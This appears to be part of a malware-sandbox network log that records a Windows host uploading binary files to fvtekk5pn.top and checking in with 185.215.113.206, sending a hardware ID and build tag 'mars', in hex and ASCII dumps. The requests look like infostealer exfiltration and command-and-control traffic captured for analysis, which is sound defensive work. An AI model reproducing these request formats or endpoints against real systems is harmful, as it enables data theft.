1a 29 cb dc d9 b7 08 33 [TRUNCATED] Data Ascii: --------------------------PmTLZ3HN7WYsDIqRY5kuuTContent-Disposition: form-data; name="file"; filename="Zehecenad.bin"Content-Type: application/octet-stream5l\|e-)/hc]>}D,H?m!.V0C.OVY&.71'Ibca#3$GB5f{p5x`h=H!v!Wlu,a-JbS)3-}bI&}hp=?p-.a,GikGbxQ`Nlj 8Lb `#K7U=_YO<zk9RUws->W?~_EH}VE,^}$NU=I0e'a?Ic$mY^^vdZ"\Ky-OaW>0.eWWpiQ:U_V"MB:n%[=Kex6\|x$~}o8LY<d]#;jvI@bj6R5r;4]"_ V3!yaI%,!txa"^d_zMHyf"xQ3Z0[_\|FDtIv1v/2AU3cw'6_t%3^G +h--$_Zrb-+Zu?0c(~D\|p}~\|[:hD$aYqS YL.1&24N\+[yw+cUGcr`ZdAT= [TRUNCATED]
Nov 26, 2024 10:11:02.154889107 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:11:01 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:11:02.180205107 CET	22718	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 22537 Content-Type: multipart/form-data; boundary=------------------------PmTLZ3HN7WYsDIqRY5kuuT Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 6d 54 4c 5a 33 48 4e 37 57 59 73 44 49 71 52 59 35 6b 75 75 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 65 68 65 63 65 6e 61 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 09 9b 35 00 6c 0a 7c 8d 97 b7 65 8b d8 03 88 2d de ff f6 29 2f 68 2a af ed fd 63 17 5d bf 10 0e e5 3e 7d 2a dc 44 f9 2c 9c 1b ba a1 13 89 48 3f 6d d0 21 b6 f6 cb 1b a0 9c 2e c3 56 30 e8 ad d3 87 85 1b f9 43 2e 4f 56 59 dc 08 26 2e 07 37 31 d8 c0 e2 01 ca a0 f6 8e 81 bc fc d9 c4 e0 27 0d 49 62 d3 63 9d a2 c9 61 23 33 24 47 42 35 66 9f 7b 13 8d a0 b5 c3 70 aa 35 7f 78 e5 a3 60 80 bd 68 c5 3d 13 0f ef 91 01 48 ab 1c 21 83 76 21 e0 b5 bc 57 9a 6c 75 2c 61 91 09 2d e0 05 4a 85 eb ab 8a 62 01 16 53 a4 1a 29 cb dc d9 b7 08 33 [TRUNCATED] Data Ascii: --------------------------PmTLZ3HN7WYsDIqRY5kuuTContent-Disposition: form-data; name="file"; filename="Zehecenad.bin"Content-Type: application/octet-stream5l\|e-)/hc]>}D,H?m!.V0C.OVY&.71'Ibca#3$GB5f{p5x`h=H!v!Wlu,a-JbS)3-}bI&}hp=?p-.a,GikGbxQ`Nlj 8Lb `#K7U=_YO<zk9RUws->W?~_EH}VE,^}$NU=I0e'a?Ic$mY^^vdZ"\Ky-OaW>0.eWWpiQ:U_V"MB:n%[=Kex6\|x$~}o8LY<d]#;jvI@bj6R5r;4]"_ V3!yaI%,!txa"^d_zMHyf"xQ3Z0[_\|FDtIv1v/2AU3cw'6_t%3^G +h--$_Zrb-+Zu?0c(~D\|p}~\|[:hD$aYqS YL.1&24N\+[yw+cUGcr`ZdAT= [TRUNCATED]
Nov 26, 2024 10:11:02.731177092 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:11:02 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:11:02.749422073 CET	22718	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 22537 Content-Type: multipart/form-data; boundary=------------------------PmTLZ3HN7WYsDIqRY5kuuT Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 6d 54 4c 5a 33 48 4e 37 57 59 73 44 49 71 52 59 35 6b 75 75 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 65 68 65 63 65 6e 61 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 09 9b 35 00 6c 0a 7c 8d 97 b7 65 8b d8 03 88 2d de ff f6 29 2f 68 2a af ed fd 63 17 5d bf 10 0e e5 3e 7d 2a dc 44 f9 2c 9c 1b ba a1 13 89 48 3f 6d d0 21 b6 f6 cb 1b a0 9c 2e c3 56 30 e8 ad d3 87 85 1b f9 43 2e 4f 56 59 dc 08 26 2e 07 37 31 d8 c0 e2 01 ca a0 f6 8e 81 bc fc d9 c4 e0 27 0d 49 62 d3 63 9d a2 c9 61 23 33 24 47 42 35 66 9f 7b 13 8d a0 b5 c3 70 aa 35 7f 78 e5 a3 60 80 bd 68 c5 3d 13 0f ef 91 01 48 ab 1c 21 83 76 21 e0 b5 bc 57 9a 6c 75 2c 61 91 09 2d e0 05 4a 85 eb ab 8a 62 01 16 53 a4 1a 29 cb dc d9 b7 08 33 [TRUNCATED] Data Ascii: --------------------------PmTLZ3HN7WYsDIqRY5kuuTContent-Disposition: form-data; name="file"; filename="Zehecenad.bin"Content-Type: application/octet-stream5l\|e-)/hc]>}D,H?m!.V0C.OVY&.71'Ibca#3$GB5f{p5x`h=H!v!Wlu,a-JbS)3-}bI&}hp=?p-.a,GikGbxQ`Nlj 8Lb `#K7U=_YO<zk9RUws->W?~_EH}VE,^}$NU=I0e'a?Ic$mY^^vdZ"\Ky-OaW>0.eWWpiQ:U_V"MB:n%[=Kex6\|x$~}o8LY<d]#;jvI@bj6R5r;4]"_ V3!yaI%,!txa"^d_zMHyf"xQ3Z0[_\|FDtIv1v/2AU3cw'6_t%3^G +h--$_Zrb-+Zu?0c(~D\|p}~\|[:hD$aYqS YL.1&24N\+[yw+cUGcr`ZdAT= [TRUNCATED]
Nov 26, 2024 10:11:03.298037052 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:11:03 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50118	34.107.221.82	80	3560	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:11:01.435794115 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 26, 2024 10:11:02.568728924 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 25 Nov 2024 22:56:57 GMT Age: 36845 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 26, 2024 10:11:12.657011032 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 26, 2024 10:11:22.860251904 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 26, 2024 10:11:33.157042027 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	50139	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:11:07.587943077 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 10:11:08.944695950 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:11:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 10:11:09.109925032 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFCBKJDBFIJKFHIIDAA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 42 44 33 33 35 30 41 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 2d 2d 0d 0a Data Ascii: ------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="hwid"17BD3350AF1F1622379703------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="build"mars------ECFCBKJDBFIJKFHIIDAA--
Nov 26, 2024 10:11:09.563667059 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:11:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	50145	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:11:10.079252005 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 34058 Content-Type: multipart/form-data; boundary=------------------------BfunYyHaRBsB2ByNAFRfoo Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 66 75 6e 59 79 48 61 52 42 73 42 32 42 79 4e 41 46 52 66 6f 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 6f 66 6f 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f 96 e5 9b 95 65 93 2d 9e d5 9e c3 cd 81 27 6b f6 1c fa c3 f0 72 51 a3 b2 c0 c2 57 73 63 4e 4b 84 d8 e0 df 2c 74 1e a5 22 f1 44 0c 44 c0 42 e5 bc 3f 11 65 77 3c e1 8d 7d cf 35 69 6e 7e 00 95 0c 1a d1 6f 7b b4 f1 f7 c6 0c 9d 6a b2 40 1d aa da 8c 4d a5 01 cf e9 11 1b 96 42 83 97 af de 1c 31 ff 74 25 06 33 25 ba ee 49 a8 86 1e 36 19 74 f2 74 f9 9e 5b d2 0b 2a df 55 19 55 5b 30 76 88 bd 2b 67 9a 1d 43 d9 5a 24 03 34 7c 6a 4d 51 39 18 5c 9a 97 ca fa 80 d6 0b b9 f0 6c e2 fb 35 3b 7a 88 2a 89 06 a9 86 63 90 61 8d fc 18 b6 b3 39 73 61 [TRUNCATED] Data Ascii: --------------------------BfunYyHaRBsB2ByNAFRfooContent-Disposition: form-data; name="file"; filename="Tofova.bin"Content-Type: application/octet-streame-'krQWscNK,t"DDB?ew<}5in~o{j@MB1t%3%I6tt[UU[0v+gCZ$4\|jMQ9\l5;zca9sa\|F-rVR)8"^(d%o@H;?P#V:GG9$S k3/ Rh^n[[4h%7_M:tA]cHCZ2 YH{kE:0L\h'ba0.av=v"\bE\|+!pB=v+f@b3fPZ~Pw;kBJ_V)[]XSS%SyHm>fp#efd+'zSgymr=K{2;[e723y~R2qo I6v%1$<La}k0!O6:$i;QvB0c*I5!+SyxaiT>KKk%-ftq!W+s[$buDy\]#f`kHpTKxWvfPHP]v+WAU>>G;wcojcptvO6;:($8KEqPU{; [TRUNCATED]
Nov 26, 2024 10:11:10.199508905 CET	2472	OUT	Data Raw: 72 4b 85 a9 4e 8e bc 05 bb f3 0a cd 23 22 40 8f c8 97 53 c7 82 f1 f1 8d 27 95 10 7a af c3 17 b6 78 12 17 b9 88 28 3a b3 f3 9c de b2 bd f3 dc 50 99 4c 47 a4 e7 e9 45 9f 5b 9a 44 05 cc e2 31 95 52 e3 bc 19 64 bd aa af 5a 21 93 71 a7 06 ea 0e 5c 7d Data Ascii: rKN#"@S'zx(:PLGE[D1RdZ!q\}ox%utnuq%Yr$Bzi+q=.\5&[v\|LZ'?'D"WV0/GnP3#OUf"wVZ=P#hdK^I[n/\6mp[t%zR#a~R
Nov 26, 2024 10:11:10.199539900 CET	2472	OUT	Data Raw: f3 66 d9 84 e9 8a c2 ee d4 3f b4 dc 52 11 48 63 d4 d8 d5 2d d0 ea 55 f2 02 1c 72 ae 9f 20 0c 8b 87 c6 98 57 ec 8d 7c 43 59 16 ed b1 43 72 18 98 fb b3 db ba 9d ed 72 02 30 9e 41 c4 16 26 05 ca c8 16 78 c4 3b e2 d9 72 9e 06 8f 1f 56 46 8d 6e 8a 77 Data Ascii: f?RHc-Ur W\|CYCrr0A&x;rVFnwN"(HF\|dqj{92"#FH!hzcs3h>J{A=[UBY*w<YFQG/(/]Tq6Dk#hi3OatSw`ZfoB<h-
Nov 26, 2024 10:11:10.199584961 CET	2472	OUT	Data Raw: 61 e8 68 a8 4c ad 8a 8a 4f 8c 77 4c 3a f6 8a ab 57 b1 36 35 7c 80 c5 20 c3 b2 5c b0 34 07 71 73 ec 36 65 0d 1c e8 42 bf 53 cb 64 24 4a a6 4c 40 d3 99 1a 37 c3 20 70 b1 c2 b2 09 75 f5 cc f1 c1 86 12 e7 98 bc 05 9f eb 8a aa 24 d2 78 a3 f4 3d 25 a8 Data Ascii: ahLOwL:W65\| \4qs6eBSd$JL@7 pu$x=%-:Z}rxm~%PR)e k\|$r"p(\|^xiqUBTXc)4zagsL3/VfPm;Ro7l<2WX3+6y%5
Nov 26, 2024 10:11:10.199615002 CET	2472	OUT	Data Raw: 00 98 bf a9 b5 9b c3 42 c0 33 7e a8 2f 50 73 49 ea b2 b0 7f c8 ab e0 1c 1e 9b 31 b0 e9 bc bb 87 49 58 86 a8 c4 b4 22 53 b1 3b 21 71 a8 7d 46 e0 6a 64 6e f4 90 b2 0f 19 a7 ac a9 9a 04 b2 2c eb b7 c1 91 32 82 b2 26 4c b4 46 65 aa ea c8 a5 85 c3 8d Data Ascii: B3~/PsI1IX"S;!q}Fjdn,2&LFe.B0(4A9O\/ZjcN_,vZJ{_UoOhELgdI{/5^-paHQ<LcuaHb'=:[hqI$N
Nov 26, 2024 10:11:10.199703932 CET	2472	OUT	Data Raw: d3 37 91 c8 b0 49 11 45 08 e5 98 0c 93 13 fa fd 65 c4 12 d9 ff b7 17 49 f9 e7 58 05 14 b4 c9 b7 72 16 aa 60 da 35 83 26 d6 1d bc 7a 97 a0 56 87 93 fe 97 e9 2a 2b 6e ad 0b d1 be a2 45 fd b8 a2 35 c8 9f 18 ef 6b 15 58 6b 30 9a 7c b1 34 99 37 ee 0f Data Ascii: 7IEeIXr`5&zV*+nE5kXk0\|4796NiHS{&cR[7`)SD}T6s{U)gxV+6h=,`YTPophT66eobC16<0Wy1#{ W),0&)d)
Nov 26, 2024 10:11:10.199758053 CET	2472	OUT	Data Raw: c6 e5 1f 10 3a 2c 89 3d 24 61 89 de f3 18 d9 cc 35 f8 8b c7 d0 9c ae 3e 8c 03 40 07 9c 8d 36 94 4f 19 5f ba 82 cc 41 35 07 89 91 37 23 8c 26 3c b7 c9 9b 4e 59 c4 a2 cc e0 33 5c 22 2f 22 18 21 9c a5 f9 f1 b8 b9 bf a1 3c 44 03 a3 95 ba 3f 31 8d 2f Data Ascii: :,=$a5>@6O_A57#&<NY3\"/"!<D?1/F4}wpBTn_USl$z_:SnRH?Y8~hqsS?}4T"DF3Sf'F@5cQ`n3< s+m'if75Bj
Nov 26, 2024 10:11:10.199934959 CET	4944	OUT	Data Raw: f3 c2 15 e9 47 00 25 2a 0b ec 5e 3c ad 34 b8 53 dc f3 ec fc df e8 1c 30 3f 0f 10 cd 75 df 4d 52 63 e7 df 63 9d d4 4b d9 35 ce 5c 7b bf 0c 7f a4 00 58 0e 3d a4 90 64 3e 98 7b 7b e3 d7 8c 0a 06 ae 0c e1 cc e2 cf 49 bc 65 17 c0 fd 00 d0 f6 a9 56 69 Data Ascii: G%^<4S0?uMRccK5\{X=d>{{IeVi[`u0x7\{^G :Rof\|!:Rwax&G"v$FJ+0~W%YW[+p+}\|Ot*tC5t$~V4Y@^w[WP~{
Nov 26, 2024 10:11:10.200043917 CET	2103	OUT	Data Raw: 99 20 8a 33 dd 52 0d 2c d5 86 11 f2 f0 ef 1e 05 38 96 16 d6 58 31 2f 5c 1d cb 4d 77 0e c8 ea 84 a0 28 9e b0 46 44 4b 18 5c 44 24 53 b3 48 39 fe 64 8c 16 dd 75 04 83 b3 bf 00 cd 19 41 a2 e1 8e d9 89 02 de 41 1e 4b 59 5b 76 04 0a 4d 2c 81 f9 10 63 Data Ascii: 3R,8X1/\Mw(FDK\D$SH9duAAKY[vM,c6QxLmeb7aSb<]`bW7\|6m`Y!_0p\|Bu?s#CqvpIkR9/;K<d\|jJE
Nov 26, 2024 10:11:11.729451895 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:11:11 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:11:11.750937939 CET	34239	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 34058 Content-Type: multipart/form-data; boundary=------------------------BfunYyHaRBsB2ByNAFRfoo Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 66 75 6e 59 79 48 61 52 42 73 42 32 42 79 4e 41 46 52 66 6f 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 6f 66 6f 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f 96 e5 9b 95 65 93 2d 9e d5 9e c3 cd 81 27 6b f6 1c fa c3 f0 72 51 a3 b2 c0 c2 57 73 63 4e 4b 84 d8 e0 df 2c 74 1e a5 22 f1 44 0c 44 c0 42 e5 bc 3f 11 65 77 3c e1 8d 7d cf 35 69 6e 7e 00 95 0c 1a d1 6f 7b b4 f1 f7 c6 0c 9d 6a b2 40 1d aa da 8c 4d a5 01 cf e9 11 1b 96 42 83 97 af de 1c 31 ff 74 25 06 33 25 ba ee 49 a8 86 1e 36 19 74 f2 74 f9 9e 5b d2 0b 2a df 55 19 55 5b 30 76 88 bd 2b 67 9a 1d 43 d9 5a 24 03 34 7c 6a 4d 51 39 18 5c 9a 97 ca fa 80 d6 0b b9 f0 6c e2 fb 35 3b 7a 88 2a 89 06 a9 86 63 90 61 8d fc 18 b6 b3 39 73 61 [TRUNCATED] Data Ascii: --------------------------BfunYyHaRBsB2ByNAFRfooContent-Disposition: form-data; name="file"; filename="Tofova.bin"Content-Type: application/octet-streame-'krQWscNK,t"DDB?ew<}5in~o{j@MB1t%3%I6tt[UU[0v+gCZ$4\|jMQ9\l5;zca9sa\|F-rVR)8"^(d%o@H;?P#V:GG9$S k3/ Rh^n[[4h%7_M:tA]cHCZ2 YH{kE:0L\h'ba0.av=v"\bE\|+!pB=v+f@b3fPZ~Pw;kBJ_V)[]XSS%SyHm>fp#efd+'zSgymr=K{2;[e723y~R2qo I6v%1$<La}k0!O6:$i;QvB0c*I5!+SyxaiT>KKk%-ftq!W+s[$buDy\]#f`kHpTKxWvfPHP]v+WAU>>G;wcojcptvO6;:($8KEqPU{; [TRUNCATED]
Nov 26, 2024 10:11:12.317230940 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:11:12 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:11:12.329267979 CET	34239	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 34058 Content-Type: multipart/form-data; boundary=------------------------BfunYyHaRBsB2ByNAFRfoo Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 66 75 6e 59 79 48 61 52 42 73 42 32 42 79 4e 41 46 52 66 6f 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 6f 66 6f 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f 96 e5 9b 95 65 93 2d 9e d5 9e c3 cd 81 27 6b f6 1c fa c3 f0 72 51 a3 b2 c0 c2 57 73 63 4e 4b 84 d8 e0 df 2c 74 1e a5 22 f1 44 0c 44 c0 42 e5 bc 3f 11 65 77 3c e1 8d 7d cf 35 69 6e 7e 00 95 0c 1a d1 6f 7b b4 f1 f7 c6 0c 9d 6a b2 40 1d aa da 8c 4d a5 01 cf e9 11 1b 96 42 83 97 af de 1c 31 ff 74 25 06 33 25 ba ee 49 a8 86 1e 36 19 74 f2 74 f9 9e 5b d2 0b 2a df 55 19 55 5b 30 76 88 bd 2b 67 9a 1d 43 d9 5a 24 03 34 7c 6a 4d 51 39 18 5c 9a 97 ca fa 80 d6 0b b9 f0 6c e2 fb 35 3b 7a 88 2a 89 06 a9 86 63 90 61 8d fc 18 b6 b3 39 73 61 [TRUNCATED] Data Ascii: --------------------------BfunYyHaRBsB2ByNAFRfooContent-Disposition: form-data; name="file"; filename="Tofova.bin"Content-Type: application/octet-streame-'krQWscNK,t"DDB?ew<}5in~o{j@MB1t%3%I6tt[UU[0v+gCZ$4\|jMQ9\l5;zca9sa\|F-rVR)8"^(d%o@H;?P#V:GG9$S k3/ Rh^n[[4h%7_M:tA]cHCZ2 YH{kE:0L\h'ba0.av=v"\bE\|+!pB=v+f@b3fPZ~Pw;kBJ_V)[]XSS%SyHm>fp#efd+'zSgymr=K{2;[e723y~R2qo I6v%1$<La}k0!O6:$i;QvB0c*I5!+SyxaiT>KKk%-ftq!W+s[$buDy\]#f`kHpTKxWvfPHP]v+WAU>>G;wcojcptvO6;:($8KEqPU{; [TRUNCATED]
Nov 26, 2024 10:11:12.892692089 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:11:12 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:11:12.907366991 CET	34239	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 34058 Content-Type: multipart/form-data; boundary=------------------------BfunYyHaRBsB2ByNAFRfoo Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 66 75 6e 59 79 48 61 52 42 73 42 32 42 79 4e 41 46 52 66 6f 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 6f 66 6f 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f 96 e5 9b 95 65 93 2d 9e d5 9e c3 cd 81 27 6b f6 1c fa c3 f0 72 51 a3 b2 c0 c2 57 73 63 4e 4b 84 d8 e0 df 2c 74 1e a5 22 f1 44 0c 44 c0 42 e5 bc 3f 11 65 77 3c e1 8d 7d cf 35 69 6e 7e 00 95 0c 1a d1 6f 7b b4 f1 f7 c6 0c 9d 6a b2 40 1d aa da 8c 4d a5 01 cf e9 11 1b 96 42 83 97 af de 1c 31 ff 74 25 06 33 25 ba ee 49 a8 86 1e 36 19 74 f2 74 f9 9e 5b d2 0b 2a df 55 19 55 5b 30 76 88 bd 2b 67 9a 1d 43 d9 5a 24 03 34 7c 6a 4d 51 39 18 5c 9a 97 ca fa 80 d6 0b b9 f0 6c e2 fb 35 3b 7a 88 2a 89 06 a9 86 63 90 61 8d fc 18 b6 b3 39 73 61 [TRUNCATED] Data Ascii: --------------------------BfunYyHaRBsB2ByNAFRfooContent-Disposition: form-data; name="file"; filename="Tofova.bin"Content-Type: application/octet-streame-'krQWscNK,t"DDB?ew<}5in~o{j@MB1t%3%I6tt[UU[0v+gCZ$4\|jMQ9\l5;zca9sa\|F-rVR)8"^(d%o@H;?P#V:GG9$S k3/ Rh^n[[4h%7_M:tA]cHCZ2 YH{kE:0L\h'ba0.av=v"\bE\|+!pB=v+f@b3fPZ~Pw;kBJ_V)[]XSS%SyHm>fp#efd+'zSgymr=K{2;[e723y~R2qo I6v%1$<La}k0!O6:$i;QvB0c*I5!+SyxaiT>KKk%-ftq!W+s[$buDy\]#f`kHpTKxWvfPHP]v+WAU>>G;wcojcptvO6;:($8KEqPU{; [TRUNCATED]
Nov 26, 2024 10:11:13.465558052 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:11:13 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
